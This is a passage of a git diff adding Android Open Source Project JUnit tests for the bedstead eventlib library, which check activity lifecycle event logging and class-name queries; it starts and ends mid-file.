+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityRestartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityRestartedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityRestartedEvent> eventLogs =
+                ActivityRestartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
new file mode 100644
index 0000000..1fb58ee
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityResumedEventTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityResumedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityResumedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityResumedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityResumedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityResumedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityResumedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityResumedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityResumedEvent> eventLogs =
+                ActivityResumedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
new file mode 100644
index 0000000..dce82d9
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStartedEventTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityStartedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStartedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStartedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStartedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStartedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStartedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityStartedEvent> eventLogs =
+                ActivityStartedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
new file mode 100644
index 0000000..ab47414
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityStoppedEventTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityStoppedEventTest {
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static final String DEFAULT_ACTIVITY_CLASS_NAME = ActivityContext.class.getName();
+    private static final String CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName";
+    private static final String DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME = "customActivityName2";
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStoppedEvent.logger(activity)
+                        .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                        .log());
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_customValueOnLogger_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStoppedEvent.logger(activity)
+                    .setActivity(DIFFERENT_CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStoppedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+        });
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(CUSTOM_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_works() throws Exception {
+        ActivityContext.runWithContext((activity) ->
+                ActivityStoppedEvent.logger(activity)
+                        .log());
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+    @Test
+    public void whereActivity_defaultValue_skipsNonMatching() throws Exception {
+        ActivityContext.runWithContext((activity) -> {
+            ActivityStoppedEvent.logger(activity)
+                    .setActivity(CUSTOM_ACTIVITY_CLASS_NAME)
+                    .log();
+            ActivityStoppedEvent.logger(activity)
+                    .log();
+        });
+
+        EventLogs<ActivityStoppedEvent> eventLogs =
+                ActivityStoppedEvent.queryPackage(CONTEXT.getPackageName())
+                        .whereActivity().className().isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+
+        assertThat(eventLogs.get().activity().className()).isEqualTo(DEFAULT_ACTIVITY_CLASS_NAME);
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ActivityInfoTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ActivityInfoTest.java
new file mode 100644
index 0000000..17b8e1d
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ActivityInfoTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.activitycontext.ActivityContext;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ActivityInfoTest {
+
+    private static final Class<? extends Activity> TEST_CLASS = ActivityContext.class;
+    private static final String TEST_CLASS_NAME = ActivityContext.class.getName();
+    private static final String TEST_CLASS_SIMPLE_NAME = ActivityContext.class.getSimpleName();
+
+    @Test
+    public void classConstructor_setsClassName() {
+        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS);
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void instanceConstructor_setsClassName() throws Exception {
+        ActivityInfo activityInfo = ActivityContext.getWithContext(ActivityInfo::new);
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void stringConstructor_setsClassName() {
+        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS_NAME);
+
+        assertThat(activityInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void simpleName_getsSimpleName() {
+        ActivityInfo activityInfo = new ActivityInfo(TEST_CLASS_NAME);
+
+        assertThat(activityInfo.simpleName()).isEqualTo(TEST_CLASS_SIMPLE_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ClassInfoTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ClassInfoTest.java
new file mode 100644
index 0000000..615cda1
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/info/ClassInfoTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ClassInfoTest {
+
+    private static final Class<?> TEST_CLASS = ClassInfoTest.class;
+    private static final String TEST_CLASS_NAME = ClassInfoTest.class.getName();
+    private static final String TEST_CLASS_SIMPLE_NAME = ClassInfoTest.class.getSimpleName();
+    private final ClassInfoTest mTestClassInstance = this;
+
+    @Test
+    public void classConstructor_setsClassName() {
+        ClassInfo classInfo = new ClassInfo(TEST_CLASS);
+
+        assertThat(classInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void instanceConstructor_setsClassName() {
+        ClassInfo classInfo = new ClassInfo(mTestClassInstance);
+
+        assertThat(classInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void stringConstructor_setsClassName() {
+        ClassInfo classInfo = new ClassInfo(TEST_CLASS_NAME);
+
+        assertThat(classInfo.className()).isEqualTo(TEST_CLASS_NAME);
+    }
+
+    @Test
+    public void simpleName_getsSimpleName() {
+        ClassInfo classInfo = new ClassInfo(TEST_CLASS_NAME);
+
+        assertThat(classInfo.simpleName()).isEqualTo(TEST_CLASS_SIMPLE_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
new file mode 100644
index 0000000..543b26c
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -0,0 +1,296 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.activities.ActivityDestroyedEvent;
+import com.android.eventlib.events.activities.ActivityPausedEvent;
+import com.android.eventlib.events.activities.ActivityRestartedEvent;
+import com.android.eventlib.events.activities.ActivityResumedEvent;
+import com.android.eventlib.events.activities.ActivityStartedEvent;
+import com.android.eventlib.events.activities.ActivityStoppedEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class EventLibActivityTest {
+
+    // This must exist as an <activity> in AndroidManifest.xml
+    private static final String GENERATED_ACTIVITY_CLASS_NAME
+            = "com.android.generatedEventLibActivity";
+
+    private static final Instrumentation sInstrumentation =
+            InstrumentationRegistry.getInstrumentation();
+    private static final Context sContext = sInstrumentation.getContext();
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void launchEventLibActivity_logsActivityCreatedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        sContext.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void launchEventLibActivity_withGeneratedActivityClass_logsActivityCreatedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        sContext.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void startEventLibActivity_logsActivityStartedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStart(activity);
+
+        EventLogs<ActivityStartedEvent> eventLogs = ActivityStartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void startEventLibActivity_withGeneratedActivityClass_logsActivityStartedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStart(activity);
+
+        EventLogs<ActivityStartedEvent> eventLogs = ActivityStartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void stopEventLibActivity_logsActivityStoppedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStop(activity);
+
+        EventLogs<ActivityStoppedEvent> eventLogs = ActivityStoppedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void stopEventLibActivity_withGeneratedActivityClass_logsActivityStoppedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnStop(activity);
+
+        EventLogs<ActivityStoppedEvent> eventLogs = ActivityStoppedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void destroyEventLibActivity_logsActivityDestroyedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        activity.finish();
+
+        EventLogs<ActivityDestroyedEvent> eventLogs = ActivityDestroyedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void destroyEventLibActivity_withGeneratedActivityClass_logsActivityDestroyedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        activity.finish();
+
+        EventLogs<ActivityDestroyedEvent> eventLogs = ActivityDestroyedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void pauseEventLibActivity_logsActivityPausedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.runOnMainSync(() -> {
+            sInstrumentation.callActivityOnPause(activity);
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs = ActivityPausedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void pauseEventLibActivity_withGeneratedActivityClass_logsActivityPausedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.runOnMainSync(() -> {
+            sInstrumentation.callActivityOnPause(activity);
+        });
+
+        EventLogs<ActivityPausedEvent> eventLogs = ActivityPausedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void resumeEventLibActivity_logsActivityResumedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnResume(activity);
+
+        EventLogs<ActivityResumedEvent> eventLogs = ActivityResumedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void resumeEventLibActivity_withGeneratedActivityClass_logsActivityResumedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnResume(activity);
+
+        EventLogs<ActivityResumedEvent> eventLogs = ActivityResumedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void restartedEventLibActivity_logsActivityRestartedEvent() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), EventLibActivity.class.getName());
+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnRestart(activity);
+
+        EventLogs<ActivityRestartedEvent> eventLogs = ActivityRestartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().isSameClassAs(EventLibActivity.class);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+    @Test
+    public void restartEventLibActivity_withGeneratedActivityClass_logsActivityRestartedEventWithCorrectClassName() {
+        Intent intent = new Intent();
+        intent.setPackage(sContext.getPackageName());
+        intent.setClassName(sContext.getPackageName(), GENERATED_ACTIVITY_CLASS_NAME);
